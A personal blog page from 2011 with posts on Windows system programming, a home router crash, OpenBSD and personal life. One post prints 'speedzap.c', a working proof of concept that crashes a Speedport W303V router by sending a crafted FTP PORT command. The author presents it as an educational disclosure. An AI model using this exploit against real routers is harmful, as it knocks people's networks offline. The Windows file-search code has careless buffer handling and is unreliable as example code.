Centroid.EU Blog
(this blog is mostly encrypted - adults only)
|
Previous Page
June 25th, 2011
Since I got my windows system programming book I've been toiling with a
program on windows. The first program was a hello, world program and this
is the second program.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>
int find(TCHAR *filename, TCHAR *buf, TCHAR *);
int
_tmain(int argc, char *argv[])
{
TCHAR buf[MAX_PATH + 1];
TCHAR filename[MAX_PATH + 1];
if (argc == 1) {
printf("enter filename to find:\n");
fgets(filename, sizeof(filename), stdin);
if (filename[strlen(filename) - 1] == '\n')
filename[strlen(filename) - 1] = '\0';
if (filename[strlen(filename) - 1] == '\r')
filename[strlen(filename) - 1] = '\0';
printf("enter directory to start search:\n");
fgets(buf, sizeof(buf), stdin);
if (buf[strlen(buf) - 1] == '\n')
buf[strlen(buf) - 1] = '\0';
if (buf[strlen(buf) - 1] == '\r')
buf[strlen(buf) - 1] = '\0';
if (buf[strlen(buf) - 1] != '\\') {
strncat(buf, "\\", sizeof(buf));
}
}
find(filename, buf, buf);
printf("find done.\n");
fgets(buf, sizeof(buf), stdin);
return(0);
}
int
find(TCHAR *filename, TCHAR *buf, TCHAR *samefile)
{
TCHAR newbuf[MAX_PATH + 1];
HANDLE myH;
WIN32_FIND_DATA fd;
DWORD fType;
strcat(buf, "\*");
myH = FindFirstFile(buf, &fd);
do {
if (strcmp(fd.cFileName, filename) == 0) {
strncpy(newbuf, buf, MAX_PATH);
newbuf[strlen(newbuf) - 1] = '\0';
strncat(newbuf, fd.cFileName, MAX_PATH);
_tprintf(_T("%s\n"), newbuf);
}
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (strcmp(fd.cFileName, samefile) == 0)
continue;
if (strcmp(fd.cFileName, ".") == 0 ||
strcmp(fd.cFileName, "..") == 0)
continue;
strncpy(newbuf, buf, sizeof(newbuf));
newbuf[strlen(newbuf) - 1] = '\0';
strncat(newbuf, fd.cFileName, MAX_PATH);
strncat(newbuf, "\\", MAX_PATH);
if (find(filename, newbuf, fd.cFileName) == 1)
break;
}
} while (FindNextFile(myH, &fd));
FindClose(myH);
return (0);
}
The program requires one to press enter at the end when the finding is done
which is a feature I put in for the Visual C++ Express program when one
debugs it so that the cmd screen stays open. What the program does is similar
to UNIX's find(1), although this implementation is more like a joke. Notice
one has to use "*" to list contents in a path. yikes.
0 comments
Update on Speedport W303V crash
June 18th, 2011
The particular router is a Type A machine, where two models exist. Type A
and Type B. I called the telekom yesterday and told them the problem and
they had me put the default settings back on the router after backing up
the settings and try again. NO GO. The firmware is the latest released and
all we can hope for is another firmware patch. This router is beyond
broken and I can't continue to FTP stuff like freebsd ezjail stuff on
virtualbox. The tech at the telekom said we could exchange the router but
we weren't on warranty anymore. This is like an 80 euro router... so
we left it at that. I came out empty handed.
0 comments
Speedport W303V crashes on PORT FTP command
June 13th, 2011
My parents have a Speedport W303V router bought from T-Home as they are a
Telekom customer. I was playing around with FreeBSD today and noticed that
whenever I'd ftp something the router would crash. So I tcpdumped it and
produced this exploit that crashes this router.
/* speedzap.c by pbug
*
* This program crashes a T-Home Speedport W 303V router
* with firmware version 1.09.000
*
* The router is not even touched, an FTP PORT command is sent with an
* IP that is not in the address range given out by this router.
*
* Some proxy inside the router must cause it to give up and become
* unreachable.
*
* cc -o speedzap speedzap.c ; ./speedzap
*
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FTPSERVER "213.83.42.56"
#define FTPPORT 21
#define BYEBYE "PORT 10,0,2,15,167,140\r\n"
int
main(void)
{
struct sockaddr_in sin;
int so;
char buf[512];
so = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (so < 0) {
perror("socket");
exit(1);
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(FTPPORT);
sin.sin_addr.s_addr = inet_addr(FTPSERVER);
if (connect(so, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("connect");
exit(1);
}
read(so, buf, sizeof(buf));
write(so, BYEBYE, strlen(BYEBYE));
printf("zapped, restart your router.\n");
close(so);
exit(0);
}
The program is intended for educational use to show how bad some proxy
functions are built-in to routers.
0 comments
Bought a book on Windows System programming
June 5th, 2011
This
is the book that I purchased. I'm hoping to learn a bit about the Windows
system. I can use that knowledge to better my understanding of how OS's work
in general.
0 comments
Cleaning heatsink reduces CPU temperature
June 2nd, 2011
My apartment isn't the cleanest place on earth. So it happens that dust
accumulates inside the computer case and eventually gets into the fans
and heatsinks. Today was one of those days where the CPU fan could not
cool the CPU sufficiently anymore and the box overheated. I had a hard
time connecting this heatsink to the cpu, the first time I musta done it
wrong and the CPU overheated very quickly. The second time I watched the
temperature in the bios hardware monitor for 15 minutes and last I saw it
at 48.5 degrees Celsius. Still fairly high considering the Fan was at
2200 RPM's. But I felt that this was better than the 70's that it was
at earlier. I do wonder whether a liquid cooling system is better for
my setup.
0 comments
OpenBSD 5.0 with or without a browser in AMD64?
June 2nd, 2011
A new awesome function in OpenBSD-current breaks software that is written
on 32 bit operating systems. In a mail by Marc Espie to the
OpenBSD
misc@ mailing list he says:
Not surprisingly, a lot of software that claims to be 64 bits-ready isn't.
This touches all web navigators, most jit engines, and probably lots more
of software (our ports tree version of gnu-grep, for instance).
He goes on to say:
So, a lot of developers are hard at work figuring the problems, getting the
word upstream.
So further in the thread Theo de Raadt dug up some
stuff that
Linux is using particularly a flag in mmap that forces
64 bit kernels to only allocate in the low 32 bits for its programs
, like Theo said this is sickening.
Later I
wrote asking what the OpenBSD community would do if the browsers can't
be fixed in time for the 5.0 release. Because that's what it comes down
to for me. When I boot my OpenBSD/amd64 vm instance "dione" I log into
X and open usually 1 or 2 xterms and firefox. I do most of my surfing
on OpenBSD and only when I need flash do I change to another operating
system such as Windows 7. This habit may be in danger here, if the
firefox mozilla team can't fix their software in time for the 5.0 release.
I have some experience with getting programs fixed "upstream" and not always
is there willingness to fix what is wrong out of whatever reason.
So for me, this means relax and sit back and wait. Its unlikely OpenBSD
can bundle a browser with their software in time for 5.0 and we may have to
go without one in the amd64 platform. Or perhaps the fixes for mozilla are
trivial and I'm worried over nothing. But this makes a good writeup for my
blog :-).
0 comments
Hello Hal!
May 27th, 2011
I did what I noticed some major newspapers (globeandmail.com) have done.
Every 30 seconds or so a javascript program refreshes the blue eye on the
bottom right corner. This is to show me that someone who is looking at
my blog is "alive" or human. This may seem invasive but I'm interested
in how long a human looks at my blog, but I'm unsure how to read the logs
for that yet. At least I'm collecting the data. Sorry if it creeps you
out.
Ich habe getan was meinche online zeitungen tun (globeandmail.com). Jede
30 sekunden erfrischt ein Javascript programm das blaue auge das unten
rechts ist. Dies zeigt mir ob jemand die meinen blog lesen am leben oder
menschen sind. Vielleicht ist dies als privatssphaere invasion angenommen,
aber ich bin interessiert in wie lange ein mensch meinen blog liest, ich
weiss nicht wie ich die logs dazu lesen soll. Auf jeden fall sammle ich
die daten. Schuldigung wenns dich stoert.
0 comments
Does it have honour? What about minimum wage?
May 27th, 2011
I'm back working. The welfare office gave me work to do. Had I refused it
they would have sanctioned my welfare. This sorta makes me mad. But what
gets me right mad is that the work is for 1.50 euros an hour. Is there any
honour left in this system? I feel deeply disappointed.
Ich arbeite wieder. Der Jobcenter hat mir arbeit vermittelt. Wenn ich es
nicht genommen haette wuerde mein geld gekuerzt. Das macht mich ein bisschen
aergerlich. Aber was mich richtig aergert ist das diese arbeit fuer
1.50 Euro die stunde ist. Gibt es noch so was wie "Ehre" in diesem System?
Ich fuehle mich sehr entaeuscht gegenueber dem System.
0 comments
One t(w)o Four, a time to chill
May 21st, 2011
When I grew up in Stratford, Ontario I became infatuated with Hip Hop. I
dressed like I thought a rapper would dress and my friends all listened to
Hip Hop as well. We were a small group called "the rappers". It was
isolating but we couldn't hold back our faith. I longed for more. I
needed to move to the big city to live Hip Hop. *chuckle* So in 1994
me and a friend moved to Toronto to take part in the Hip Hop scene there.
We visited clubs and bars to see acts that came through the city and then
there was Saturday's. From 1PM to 4PM we listened to the Powermove show on
CKLN 88.1FM. This spot was perfect and a time to chill on a saturday afternoon.
I have fond memories of listening to MC battles conducted over telephone
call-ins. One particular still stands out in my mind when one person won a
battle when he rapped about his bike with a banana seat. I loved those
times then.
On February 12th, 2011 CKLN 88.1FM had a tribute to all the shows that
played on the 1-4PM timeslot. This was a historic show and many blogs
and media outlets picked up on it, here is some:
I also listened to this show and even taped it. You can check it out
here.
Today 88.1FM doesn't exist anymore, only as an online radio station at
ckln.fm and for some reason the 1-4 spot has
no more mixtape massacre. This is too bad, and people in Toronto who
listened to 88.1FM have lost a great pillar that upheld hip-hop in TO.
Well that's all I wanted to blog about today.
0 comments
Next Page
|
Search
RSS Feed
Click here for RSS
On this day in
Other links
Have feedback?
By clicking on the header of an article you will be
served a cookie. If you do not agree to this do not
click on the header. Thanks!
Using a text-based webbrowser?
... such as lynx? Welcome back it's working again for the time being.
Older Blog Entries
March, 2023
February, 2023
January, 2023
December, 2022
November, 2022
October, 2022
September, 2022
August, 2022
July, 2022
June, 2022
May, 2022
April, 2022
March, 2022
February, 2022
January, 2022
December, 2021
November, 2021
October, 2021
September, 2021
March, 2021
February, 2021
January, 2021
December, 2020
November, 2020
October, 2020
September, 2020
August, 2020
July, 2020
June, 2020
May, 2020
April, 2020
March, 2020
February, 2020
January, 2020
December, 2019
November, 2019
October, 2019
September, 2019
August, 2019
July, 2019
June, 2019
May, 2019
April, 2019
March, 2019
February, 2019
January, 2019
December, 2018
November, 2018
October, 2018
September, 2018
August, 2018
July, 2018
June, 2018
May, 2018
April, 2018
March, 2018
February, 2018
January, 2018
December, 2017
November, 2017
October, 2017
September, 2017
August, 2017
July, 2017
June, 2017
May, 2017
April, 2017
March, 2017
February, 2017
January, 2017
December, 2016
November, 2016
October, 2016
September, 2016
August, 2016
July, 2016
June, 2016
May, 2016
April, 2016
March, 2016
February, 2016
January, 2016
December, 2015
November, 2015
October, 2015
September, 2015
August, 2015
July, 2015
June, 2015
May, 2015
April, 2015
March, 2015
February, 2015
January, 2015
December, 2014
November, 2014
October, 2014
September, 2014
August, 2014
July, 2014
June, 2014
May, 2014
April, 2014
March, 2014
February, 2014
January, 2014
December, 2013
November, 2013
October, 2013
September, 2013
August, 2013
July, 2013
June, 2013
May, 2013
April, 2013
March, 2013
February, 2013
January, 2013
December, 2012
November, 2012
October, 2012
September, 2012
August, 2012
July, 2012
June, 2012
May, 2012
April, 2012
March, 2012
February, 2012
January, 2012
December, 2011
November, 2011
October, 2011
September, 2011
August, 2011
July, 2011
June, 2011
May, 2011
April, 2011
March, 2011
February, 2011
January, 2011
December, 2010
November, 2010
October, 2010
September, 2010
August, 2010
July, 2010
June, 2010
May, 2010
April, 2010
March, 2010
February, 2010
January, 2010
December, 2009
November, 2009
October, 2009
September, 2009
August, 2009
July, 2009
June, 2009
May, 2009
Powered by BCHS
|